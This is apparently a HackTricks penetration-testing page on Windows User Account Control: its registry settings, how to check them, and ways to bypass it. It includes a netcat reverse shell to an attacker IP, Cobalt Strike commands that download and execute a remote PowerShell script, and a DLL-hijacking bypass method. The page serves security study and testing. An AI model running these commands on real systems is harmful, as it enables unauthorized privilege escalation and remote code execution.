Skip to content

Latest commit

 

History

History
236 lines (155 loc) · 20 KB

uac-user-account-control.md

File metadata and controls

236 lines (155 loc) · 20 KB
Raw

UAC - User Account Control

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

User Account Control (UAC) is a feature that enables a consent prompt for elevated activities. Applications have different integrity levels, and a program with a high level can perform tasks that could potentially compromise the system. When UAC is enabled, applications and tasks always run under the security context of a non-administrator account unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.

For more info about integrity levels:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges.

This page discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail here. There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail:

Group Policy Setting Registry Key Default Setting
User Account Control: Admin Approval Mode for the built-in Administrator account FilterAdministratorToken Disabled
User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop EnableUIADesktopToggle Disabled
User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode ConsentPromptBehaviorAdmin Prompt for consent for non-Windows binaries
User Account Control: Behavior of the elevation prompt for standard users ConsentPromptBehaviorUser Prompt for credentials on the secure desktop
User Account Control: Detect application installations and prompt for elevation EnableInstallerDetection Enabled (default for home) Disabled (default for enterprise)
User Account Control: Only elevate executables that are signed and validated ValidateAdminCodeSignatures Disabled
User Account Control: Only elevate UIAccess applications that are installed in secure locations EnableSecureUIAPaths Enabled
User Account Control: Run all administrators in Admin Approval Mode EnableLUA Enabled
User Account Control: Switch to the secure desktop when prompting for elevation PromptOnSecureDesktop Enabled
User Account Control: Virtualize file and registry write failures to per-user locations EnableVirtualization Enabled

UAC Bypass Theory

Some programs are autoelevated automatically if the user belongs to the administrator group. These binaries have inside their Manifests the autoElevate option with value True. The binary has to be signed by Microsoft also.

Then, to bypass the UAC (elevate from medium integrity level to high) some attackers use this kind of binaries to execute arbitrary code because it will be executed from a High level integrity process.

You can check the Manifest of a binary using the tool sigcheck.exe from Sysinternals. And you can see the integrity level of the processes using Process Explorer or Process Monitor (of Sysinternals).

Check UAC

To confirm if UAC is enabled do:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1

If it's 1 then UAC is activated, if its 0 or it doesn't exist, then UAC is inactive.

Then, check which level is configured:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • If 0 then, UAC won't prompt (like disabled)
  • If 1 the admin is asked for username and password to execute the binary with high rights (on Secure Desktop)
  • If 2 (Always notify me) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
  • If 3 like 1 but not necessary on Secure Desktop
  • If 4 like 2 but not necessary on Secure Desktop
  • if 5(default) it will ask the administrator to confirm to run non Windows binaries with high privileges

Then, you have to take a look at the value of LocalAccountTokenFilterPolicy
If the value is 0, then, only the RID 500 user (built-in Administrator) is able to perform admin tasks without UAC, and if its 1, all accounts inside "Administrators" group can do them.

And, finally take a look at the value of the key FilterAdministratorToken
If 0(default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.

Summary

  • If EnableLUA=0 or doesn't exist, no UAC for anyone
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=1 , No UAC for anyone
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=0, No UAC for RID 500 (Built-in Administrator)
  • If EnableLua=1 and LocalAccountTokenFilterPolicy=0 and FilterAdministratorToken=1, UAC for everyone

All this information can be gathered using the metasploit module: post/windows/gather/win_privs

You can also check the groups of your user and get the integrity level:

net user %username%
whoami /groups | findstr Level

UAC bypass

{% hint style="info" %} Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears {% endhint %}

The UAC bypass is needed in the following situation: the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group.

It is important to mention that it is much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).

UAC disabled

If UAC is already disabled (ConsentPromptBehaviorAdmin is 0) you can execute a reverse shell with admin privileges (high integrity level) using something like:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC bypass with token duplication

Very Basic UAC "bypass" (full file system access)

If you have a shell with a user that is inside the Administrators group you can mount the C$ shared via SMB (file system) local in a new disk and you will have access to everything inside the file system (even Administrator home folder).

{% hint style="warning" %} Looks like this trick isn't working anymore {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

The Cobalt Strike techniques will only work if UAC is not set at it's max security level

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire and Metasploit also have several modules to bypass the UAC.

UAC bypass exploits

UACME which is a compilation of several UAC bypass exploits. Note that you will need to compile UACME using visual studio or msbuild. The compilation will create several executables (like Source\Akagi\outout\x64\Debug\Akagi.exe) , you will need to know which one you need.
You should be careful because some bypasses will prompt some other programs that will alert the user that something is happening.

UACME has the build version from which each technique started working. You can search for a technique affecting your versions:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

More UAC bypass

All the techniques used here to bypass AUC require a full interactive shell with the victim (a common nc.exe shell is not enough).

You can get using a meterpreter session. Migrate to a process that has the Session value equals to 1:

(explorer.exe should works)

UAC Bypass with GUI

If you have access to a GUI you can just accept the UAC prompt when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.

Moreover, if you get a GUI session that someone was using (potentially via RDP) there are some tools that will be running as administrator from where you could run a cmd for example as admin directly without being prompted again by UAC like https://github.com/oski02/UAC-GUI-Bypass-appverif. This might be a bit more stealthy.

Noisy brute-force UAC bypass

If you don't care about being noisy you could always run something like https://github.com/Chainski/ForceAdmin that ask to elevate permissions until the user does accepts it.

Your own bypass - Basic UAC bypass methodology

If you take a look to UACME you will note that most UAC bypasses abuse a Dll Hijacking vulnerability (mainly writing the malicious dll on C:\Windows\System32). Read this to learn how to find a Dll Hijacking vulnerability.

  1. Find a binary that will autoelevate (check that when it is executed it runs in a high integrity level).
  2. With procmon find "NAME NOT FOUND" events that can be vulnerable to DLL Hijacking.
  3. You probably will need to write the DLL inside some protected paths (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
    1. wusa.exe: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
    2. IFileOperation: Windows 10.
  4. Prepare a script to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.

Another UAC bypass technique

Consists on watching if an autoElevated binary tries to read from the registry the name/path of a binary or command to be executed (this is more interesting if the binary searches this information inside the HKCU).

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥